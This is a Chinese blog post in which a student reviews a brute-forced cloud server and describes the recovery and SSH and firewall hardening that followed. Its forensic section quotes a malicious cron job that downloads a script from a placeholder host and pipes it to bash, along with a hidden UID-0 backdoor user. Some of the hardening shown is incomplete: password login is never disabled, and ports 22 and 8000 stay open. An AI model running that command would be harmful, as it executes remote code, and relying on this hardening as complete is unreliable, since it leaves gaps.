从服务器被黑到涅槃重生:一次完整的服务器安全事件复盘与加固实践
大二学生AI项目服务器被入侵后的完整恢复与加固实战。从发现异常、工单沟通获解封,到重装系统、恢复数据,最终实施全方位安全加固:SSH改端口+密钥登录、防火墙精细化、Docker非root运行、监控审计。提供可复用安全脚本与配置,形成系统化防护体系。项目在24小时内恢复并显著提升安全等级。文章展示如何将安全危机转化为实战经验,为个人项目开发者提供可操作的安全指南。
一个看似普通的周一晚上,我突发奇想,想重新检查一下我的前段时间部署的的AI助手运行是否正常,我通过公网访问其服务器地址,却发现发现其接口处显示连接失败,我意识到出问题了。我点开对接服务器的手机短信窗口,发现对方发了多条短信提示我的服务器在过去的一周连续多次攻击了其他服务器。在登录服务器时,我屏幕上跳出的不再是熟悉的终端,而是冰冷的“Connection refused”。服务器被黑了!!!——这是我作为大二学生独立部署的第一个生产级项目。接下来的24小时,我完成了一次从灾难恢复、工单沟通到全面加固的实战演练。本文记录了完整的技术复盘与安全升级全过程。
事件背景:我的AI学习助手项目
我的AI学习助手是一个个人全栈项目,整合了FastAPI后端、百度千帆大模型API和原生JavaScript前端,部署在腾讯云Ubuntu服务器上。项目已稳定运行数周,在GitHub开源并拥有公网演示地址。作为一个计算机类专业的学生,这个项目是我工程能力的重要展示。
项目技术栈概览:
-
后端:FastAPI + 百度千帆
qwen3-14b-instruct -
前端:原生HTML5/CSS3/JavaScript
-
部署:腾讯云服务器 + Docker容器化 + Nginx反向代理
-
架构特点:前后端分离,API直连模式,已处理跨域与错误处理
第一章:发现入侵与紧急响应
1.1 异常初现
周一晚11点,我想用公网访问服务器查看运行状态时,却发现:
-
公网访问时返回“连接超时”
-
我用自己终端远程root访问服务器时,SSH连接直接超时
-
我登陆进云控制台,上面显示服务器显示收到来着荷兰以及新加坡国外地址的多次访问,且密码已被破解
-
在腾讯云服务平台上的服务器已被封禁
第一个关键决策:不盲目重启
许多新手的第一反应是重启服务器,但这会丢失入侵证据。我选择了:
-
立即在本地保存所有现有连接日志,如下图所示:

2.通过云厂商的VNC控制台登录查看情况
3.截图异常进程和网络连接
1.2 现场取证
通过腾讯云VNC登录后,发现了明显的入侵痕迹:
# 异常进程(部分)
/usr/bin/.sshd -p 2222 # 伪装sshd进程
/tmp/.X11-unix/X1 # 异常的X11服务
/var/tmp/.systemd-cron # 伪装的定时任务
# 异常用户
$ cat /etc/passwd | grep -E "(bash|sh)$"
hacker:x:0:0::/root:/bin/bash # UID=0的隐藏用户
backdoor:x:1004:1004::/home/backdoor:/bin/bash
# 恶意cron任务
$ crontab -l
*/10 * * * * curl -s http://malicious-domain.com/script.sh | bash
1.3 攻击路径分析
通过日志分析,攻击路径逐渐清晰:
1. Day 1 14:32 - SSH暴力破解成功(因为我的服务器刚创建时用的root/弱密码组合)
2. Day 1 14:40 - 上传挖矿脚本至/tmp目录
3. Day 1 15:15 - 创建后门账户并提权
4. Day 1 16:00 - 清除访问日志(但未清理auth.log)
5. Day 2 全天 - 横向移动尝试,安装Rootkit
6. Day 3 10:30 - 触发云厂商安全警报,服务器被封禁
根本原因诊断:
-
弱密码策略:我的root密码为简单数字和大小写字母组合
-
无失败登录限制:未配置fail2ban或登录频率限制
-
端口暴露过多:开放了不必要的22、8000、3306等端口
-
无文件完整性监控:关键系统文件被篡改未察觉
-
无限制固定用户访问:没有限定只许我自己电脑的终端访问,可通过root访问
第二章:工单沟通的艺术与服务器解封
2.1 第一封工单:如何有效沟通
服务器被封禁后,我提交了第一封工单。这里的关键是结构化表达:
【紧急】学生个人学习服务器被黑客入侵导致攻击行为,请求解封 我是大二学生,这是我用来找实习的项目:使用腾讯云服务器部署个人AI学习项目(AI学习助手),真的非常非常重要。 **问题描述:** 我的服务器被检测到对外攻击行为,服务已被限制。经查,我的服务器可能被黑客入侵,被利用进行攻击活动,这并非我的本意。 **项目背景:** - 项目名称:AI学习助手(智能问答系统) - 用途:个人学习、技术实践 **已采取的整改措施:** 1. 已修改所有账户密码 2. 检查并清理异常用户和进程 3. 检查SSH密钥和定时任务 4. 准备重装系统彻底清理 **请求:** 1. 请求暂时解封服务器,让我备份项目数据 2. 或指导我如何通过备份/快照恢复 3. 承诺重装系统并加强安全配置
沟通要点分析:
-
主动表明身份:说明自己是学生,以及服务器用途,绝非用于不法途径
-
展示专业性:提供问题细节和已采取的合理行动
-
明确需求:具体、可操作的请求项
-
降低风险:强调是个人项目,准备重装
2.2 工单沟通过程中的关键对话
客服首次回复:
您好,经核查您账号下的腾讯云资源因涉及存在对其他服务器端口的网络攻击行为,攻击时间:2026-02-09 06点左右,当前您的资源已被限制访问,作为平台方无法直观判断是否属于您的“正常业务”访问,但持续的异常网络访问将会影响到您及他人正常业务的开展,请您参考站内信指引尽快完成自查整改,感谢您的支持与配合!
若您确认属于“正常业务”,请描述具体业务场景及异常原因,以便我们进一步核实。现已阻断攻击链路(24h自动解除),请您参考站内信指引尽快完成自查整改。
我的回复策略:
-
立即响应:30分钟内回复,显示重视程度
-
提供技术方案:
-
【安全整改方案】
✅ 1. 修改所有弱密码(root、ubuntu用户)
✅ 2. 启用UFW防火墙,仅开放必要端口
✅ 3. SSH安全加固:禁用root登录、禁用密码登录、修改端口
✅ 4. 安装fail2ban防御系统,3次失败封禁1小时
✅ 5. 清理可疑用户、进程、定时任务
✅ 6. 备份所有项目数据,准备重装系统
✅ 7. 检查并清除可能的恶意程序
3.再次强调学生身份及服务器对外的无危胁性:
我是大二学生,这是个人AI学习助手项目,用于技术学习,绝非商业用途或有意攻击。 已全面整改,请求24小时后正常解封服务器
4.提供整改的部分命令行

2.3 成功解封的关键因素
-
技术可信度:展示了清晰的问题理解和解决方案
-
响应速度:所有工单回复在30分钟内
-
风险控制承诺:明确的重装和加固计划
-
历史记录良好:首次安全事件,本人学生,服务器仅仅用于学习,并非恶意用户
时间线:
23:00 - 提交第一封工单
23:30 - 客服首次回复要求整改方案
00:00 - 提交详细整改方案
00:20 - 客服说明隔天9:00前给出回复
09:30 - 服务器解封
第三章:灾难恢复与系统重装
由于我的文件已被损毁且相关配置已被入侵者篡改,考虑到我之前已在GitHub上已经部署并上传过项目的镜像压缩包,所以我毅然选择不备份,直接在解封后重装服务器,重新部署相关内容
3.1 安全重装流程
通过腾讯云控制台重装系统时,注意以下关键选项:
-
镜像选择:纯净版Ubuntu 22.04 LTS(非自定义镜像)
-
磁盘设置:完全格式化,不留残留
-
密钥对更新:生成全新的SSH密钥对
-
重装后立即更新系统 apt update && apt upgrade -y
第四章:项目恢复与架构升级
4.1 项目恢复过程
由于GitHub已有完整备份,且其tar压缩包我已下载到桌面,所以我接下来将分步进行恢复:
第一步:在本地电脑操作(Windows)
# 1. 切换到桌面目录
cd Desktop
# 2. 使用scp上传Docker镜像文件到服务器
scp my-ai-assistant.tar ubuntu@175.178.109.106:/tmp/
在服务器上,再用sudo把文件移到root目录(注意此条语句应于服务器上输入)
sudo mv /tmp/my-ai-assistant.tar /root/
第二步:在服务器上操作(上传完成后)
# 1. 进入root目录并加载Docker镜像
cd /root
docker load < my-ai-assistant.tar
# 2. 验证镜像
docker images | grep my-ai-assistant
# 3. 运行容器
docker run -d -p 8000:8000 --name ai-assistant my-ai-assistant:latest
# 4. 测试后端API
curl http://localhost:8000/health
第三步:从Docker镜像提取全部源码
# 1. 创建一个临时容器(用于查看和提取文件)
docker create --name temp_source my-ai-assistant:latest
# 2. 从容器中复制整个项目目录到服务器
docker cp temp_source:/app /root/my_ai_assistant
# 3. 删除临时容器
docker rm temp_source
# 4. 现在查看提取出来的源码结构
ls -la /root/my_ai_assistant/
第四步:恢复Nginx和前端文件
由于我本地的tar文件里包含了前端代码,所以我直接在服务器上创建文件夹,然后将前端代码文件直接从刚运行的容器里复制出来。
# 1. 从容器复制前端文件到Nginx服务目录
docker cp ai-assistant:/app/frontend/. /var/www/ai-assistant/
# 2. 创建Nginx配置文件(此处我先使用最简单的配置,之后再逐步配置反向代理)
sudo tee /etc/nginx/conf.d/ai-assistant.conf << 'EOF'
server {
listen 80;
server_name _;
root /var/www/ai-assistant;
index index.html;
location / {
try_files $uri $uri/ /index.html;
}
}
EOF
# 3. 启动Nginx
sudo nginx -t && sudo systemctl restart nginx
第五步:重新将调用的大模型密钥存入环境变量
# 1. 重新将之前的大模型密钥存入环境变量中,因为重装系统后原本环境中传入的密钥会消失
echo 'export BAIDU_API_KEY="<你的长API Key>"' >> ~/.bashrc
# 2. 让.bashrc里的环境变量生效
source ~/.bashrc
# 3. 验证是否能读到API Key,能输出Key就是对的
echo $BAIDU_API_KEY
第六步:安装原本镜像中的依赖库(罗列于docker容器中的requirements.txt中,此文件此时在项目目录中)
但是直接用pip3下载requirements.txt中库的时候会遇到externally-managed-environment 错误,这是因为Ubuntu 22.04+ 系统为了保护系统 Python 环境而设置的限制 —— 不允许直接用 pip3 修改系统级的 Python 包,这是系统的安全机制,避免破坏系统依赖
此处有两个方案:
方案 1:虚拟环境安装
# 1. 安装虚拟环境工具
sudo apt install python3-venv -y
# 2. 在项目目录创建虚拟环境
cd /root/my_ai_assistant
python3 -m venv venv
# 3. 激活虚拟环境
source venv/bin/activate
# 激活后,命令行提示符前会出现 (venv)
# 4. 在虚拟环境中安装依赖
pip install -r requirements.txt
方案2:使用--break-system-packages,快速但不推荐
如果只是临时测试,可以强制安装,因为我只是短暂通过项目练习工程化技能,所以我选择直接强制安装
# 1. 直接安装依赖
pip3 install -r requirements.txt --break-system-packages
# 2. 列出所有包及版本,查看已安装的所有包,验证是否安装成功
pip list | grep -E 'fastapi|uvicorn|requests'
第七步:重新连接到GitHub仓库
服务器重新连接GitHub需要重新配置SSH密钥。因为服务器重装后,之前的SSH密钥丢失了。
1.先在服务器生成新的SSH密钥
# 1. 生成新的ED25519密钥
ssh-keygen -t ed25519 -C "your_email@example.com" -f ~/.ssh/id_ed25519_github
# 2. 查看公钥
cat ~/.ssh/id_ed25519_github.pub
# 复制全部输出(以 ssh-ed25519 AAA... 开头)
2.将公钥添加到GitHub账户
3.配置SSH客户端:nano ~/.ssh/config,添加以下内容
# GitHub专用配置
Host github.com
HostName github.com
User git
IdentityFile ~/.ssh/id_ed25519_github
IdentitiesOnly yes
保存并设置权限:chmod 600 ~/.ssh/config
4.测试链接
# 测试SSH连接(首次连接需要确认)
ssh -T git@github.com
# 应该可以看到:
# Hi username! You've successfully authenticated, but GitHub does not provide shell access.
5.完善Git配置
# 1. 配置Git用户信息
git config --global user.name "你的GitHub用户名"
git config --global user.email "你的GitHub邮箱"
# 2. 验证配置
git config --global --list | grep -E "user\.|email"
# 3. 优化Git设置(可选但推荐)
git config --global core.editor "nano" # 设置默认编辑器
git config --global init.defaultBranch "main" # 设置默认分支
git config --global pull.rebase false # 合并方式
4.2 安全架构升级
之前的架构问题:
用户 → Nginx (80) → 前端静态文件
前端JS → 直连 :8000 (无代理)
升级后的反向代理架构:
server {
listen 80;
server_name 175.178.109.106;
root /var/www/ai-assistant;
index index.html;
# 静态文件
location / {
try_files $uri $uri/ /index.html;
}
# 反向代理后端API
location /api/ {
proxy_pass http://localhost:8000/;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
第五章:全面安全加固实施
5.1 SSH安全加固
1.第一步:创建专用用户
# 创建新用户
sudo adduser 我新建的用户名
sudo usermod -aG sudo 我新建的用户名 # 给予sudo权限
2.第二步:更改编辑SSH配置
# 编辑SSH配置
sudo nano /etc/ssh/sshd_config
# 禁用root登录(这一点最重要!)
PermitRootLogin no
# 更改默认端口(可选,比如改为xxxx)
Port xxxx
# 限制登录用户
AllowUsers 第一步时创建的用户名
# 限制失败尝试次数
MaxAuthTries 3
LoginGraceTime 60
保存后记得重启SSH配置:sudo systemctl restart sshd
5.2 防火墙精细化配置
# 安装并启用
sudo apt install ufw -y
sudo ufw default deny incoming # 默认拒绝所有入站
sudo ufw default allow outgoing # 允许所有出站
# 只开放必要端口(这部分可根据自己的服务调整)
sudo ufw allow 22/tcp comment 'SSH' # SSH端口
sudo ufw allow 80/tcp comment 'HTTP' # HTTP
sudo ufw allow 443/tcp comment 'HTTPS' # HTTPS(如果有)
sudo ufw allow 8000/tcp comment 'AI Assistant' # 你的服务端口
# 启用防火墙
sudo ufw enable
sudo ufw status verbose
第六章:总结与思考
6.1 技术收获
-
安全配置的层次性:从网络层、系统层到应用层的全方位防护
-
最小权限原则:所有服务和用户仅拥有必要的最低权限
-
防御深度:多重防护措施,单一防护失效不影响整体安全
-
可观测性:完善的日志和监控是安全运维的基础
6.2 流程收获
-
工单沟通技巧:技术问题需要结构化、专业化的表达
-
备份策略:3-2-1备份原则
6.3 给其他开发者的建议
-
不要忽视"小项目"的安全:攻击者自动化扫描,不分项目大小,频繁频繁更新快照,确保损失最小化
-
定期进行安全演练:模拟攻击,检验防御措施有效性
-
保持学习心态:安全领域日新月异,需要持续更新知识,让自己能够不断进步
6.4 未来规划
基于此次经验,我计划进一步:
-
实现 HTTPS全站加密(Let's Encrypt证书)
-
引入 Web应用防火墙(WAF)规则
-
建立 安全信息与事件管理(SIEM)系统
-
申请 漏洞赏金计划,邀请白帽子测试
结语
这次服务器被黑事件,虽然初期带来了焦虑和挑战,但最终转化为了宝贵的安全实践经验和系统工程能力的提升。从被动应对到主动防御,从单点防护到体系化安全,这个过程让我深刻理解了"安全不是产品,而是过程"的真正含义。
作为大二学生,这次经历不仅锻炼了我的技术能力,更培养了我面对生产环境问题的综合应对能力。安全之路没有终点,但每一次挫折都是通往更强大系统的垫脚石。
作者:计算机类专业大二学生,目前正在进行技术摸索中,欢迎技术交流与指正。
更多推荐


所有评论(0)